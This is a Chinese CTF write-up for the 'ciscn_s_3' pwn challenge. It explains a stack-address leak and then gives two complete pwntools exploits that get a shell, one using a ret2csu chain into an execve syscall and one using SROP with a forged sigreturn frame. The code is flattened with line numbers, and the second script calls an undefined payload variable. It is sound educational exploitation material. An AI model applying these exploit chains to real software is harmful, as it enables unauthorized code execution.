本文最后更新于 2024年10月9日 上午
syscall与csu结合以及srop的简单使用 基础检查
放入ida
存在栈溢出,并且buf只有0x10,而write有0x30,因此可以泄露栈上的内容
3B=59是execv的调用号,这个指令可以调用内核execv
如果能够知道/bin/sh的地址,就可以获得shell
因为栈上没有/bin/sh,可以考虑read读入,结合前面有漏洞可以泄露栈上的位置,
考虑用write泄露某一栈上地址,在计算此地址到输入点的偏移,
这样当我们输入/bin/sh时就可以得到这个地址
这个地址存的是程序名
如图也在泄露范围内
那么就可以泄露这个地址
可以算出此地址到输入点的偏移为0x118
所以第一个payload的构造为
1 2 3 4 5 payload=b'/bin/sh\x00' +b'a' *8 +p64(vuln) io.sendline(payload) io.recv(0x20 ) binsh=u64(io.recv(8 ))-0x118 print (hex (binsh))
payload2的构造
方法一
1 2 3 4 5 6 7 8 9 10 11 pay=b'/bin/sh\x00' *2 pay+=p64(pop_csu) pay+=p64(0 )*2 pay+=p64(binsh+0x50 ) pay+=p64(0 )*3 pay+=p64(mov_call) pay+=p64(mov_rax) pay+=p64(rdi) pay+=p64(binsh) pay+=p64(syscall) io.sendline(pay)
解释
在execve的系统调用中
参数布局为
1 2 3 4 5 rdi=/bin /sh rsi=0 rdx=0
因为找不到可用的rsi和rdx
我们考虑用csu间接将参数传给rsi 和rdx
这个payload的构造非常巧妙 将rbx和rbp设为0,r12设为(binsh+0x50)都有特别用意
(1)根据我们前面payload的构造
可以知道binsh+0x50就是将execve调用号放入rax的指令,方便进行syscall
(2)首先将rbx和rbp 设为0
使得通不过 cmp rbx,rbp
从而通过jnz指令跳回0x400580
这时候rbx已被加1,所以这次call的地址就变为(binsh+0x50+8)即pop_rdi的位置让我们能够继续控制程序
因为rsi 和rdx已经设置完了,那接下来只要将binsh传入rdi并执行syscall即可获得shell
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * io=process('./ciscn_s_3' ) context.log_level='debug' context(arch='amd64' , os='linux' ) elf=ELF('./ciscn_s_3' ) pop_csu=0x40059A mov_call=0x400580 rdi=0x4005A3 vuln=0x4004ED mov_rax=0x4004E2 syscall=0x400501 payload=b'/bin/sh\x00' +b'a' *8 +p64(vuln) io.sendline(payload) io.recv(0x20 ) binsh=u64(io.recv(8 ))-0x118 print (hex (binsh)) pay=b'/bin/sh\x00' *2 +p64(pop_csu)+p64(0 )*2 +p64(binsh+0x50 )+p64(0 )*3 +p64(mov_call)+p64(mov_rax)+p64(rdi)+p64(binsh)+p64(syscall) io.sendline(pay)"""frame=SigreturnFrame() frame.rax=constants.SYS_execve frame.rdi=binsh frame.rsi=0x0 frame.rdx=0x0 frame.rip=syscall payload=b'/bin/sh\x00'.ljust(0x10,b'a')+p64(0x4004da)+p64(syscall)+bytes(frame)""" io.interactive()
方法二 srop利用
原理:
这里基础知识就搬运ctfwiki上的了,讲解的我觉得很全面了,我也会进行添加补充讲解,便于理解。
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:
内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址 。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。 之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
1 ①保存上下文环境(即各种寄存器),接下来走到②执行信号处理函数,处理完后③恢复相关栈环境,④继续执行用户程序。而在恢复寄存器环境时没有去校验这个栈是不是合法的,如果我们能够控制栈,就能在恢复上下文环境这个环节直接设定相关寄存器的值。
在执行sigreturn 之后的restore context阶段,整个frame是在用户态,同时会执行大量的pop指令,这时我们就可以直接设定寄存器的值来伪造一个虚假的frame从而getshell
使用SROP的前提
首先程序必须存在溢出,能够控制返回地址。
可以去系统调用sigreturn(如果找不到合适的系统调用号,可以看看能不能利用read函数来控制RAX的值)
必须能够知道/bin/sh的地址,如果写的bss段,直接写地址就行,如果写到栈里,还需要想办法去泄露栈地址。
允许溢出的长度足够长,这样可以去布局我们想要的寄存器的值
需要知道syscall指令的地址
1 2 3 4 5 6 7 frame=SigreturnFrame() frame.rax=constants.SYS_execve frame.rdi=binsh frame.rsi=0x0 frame.rdx=0x0 frame.rip=syscall payload=b'/bin/sh\x00' .ljust(0x10 ,b'a' )+p64(0x4004da )+p64(syscall)+bytes (frame)
注意这里的syscall必须是syscall_ret,来控制程序
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * io=process('./ciscn_s_3' ) context.log_level='debug' context(arch='amd64' , os='linux' ) elf=ELF('./ciscn_s_3' ) pop_csu=0x40059A mov_call=0x400580 rdi=0x4005A3 vuln=0x4004ED mov_rax=0x4004E2 syscall=0x400517 payload=b'/bin/sh\x00' +b'a' *8 +p64(vuln) io.sendline(payload) io.recv(0x20 ) binsh=u64(io.recv(8 ))-0x118 print (hex (binsh))'''pay=b'/bin/sh\x00'*2+p64(pop_csu)+p64(0)*2+p64(binsh+0x50)+p64(0)*3+p64(mov_call)+p64(mov_rax)+p64(rdi)+p64(binsh)+p64(syscall)''' io.sendline(pay) frame=SigreturnFrame() frame.rax=constants.SYS_execve frame.rdi=binsh frame.rsi=0x0 frame.rdx=0x0 frame.rip=syscall payload=b'/bin/sh\x00' .ljust(0x10 ,b'a' )+p64(0x4004da )+p64(syscall)+bytes (frame) io.sendline(payload) io.interactive()
拿到shell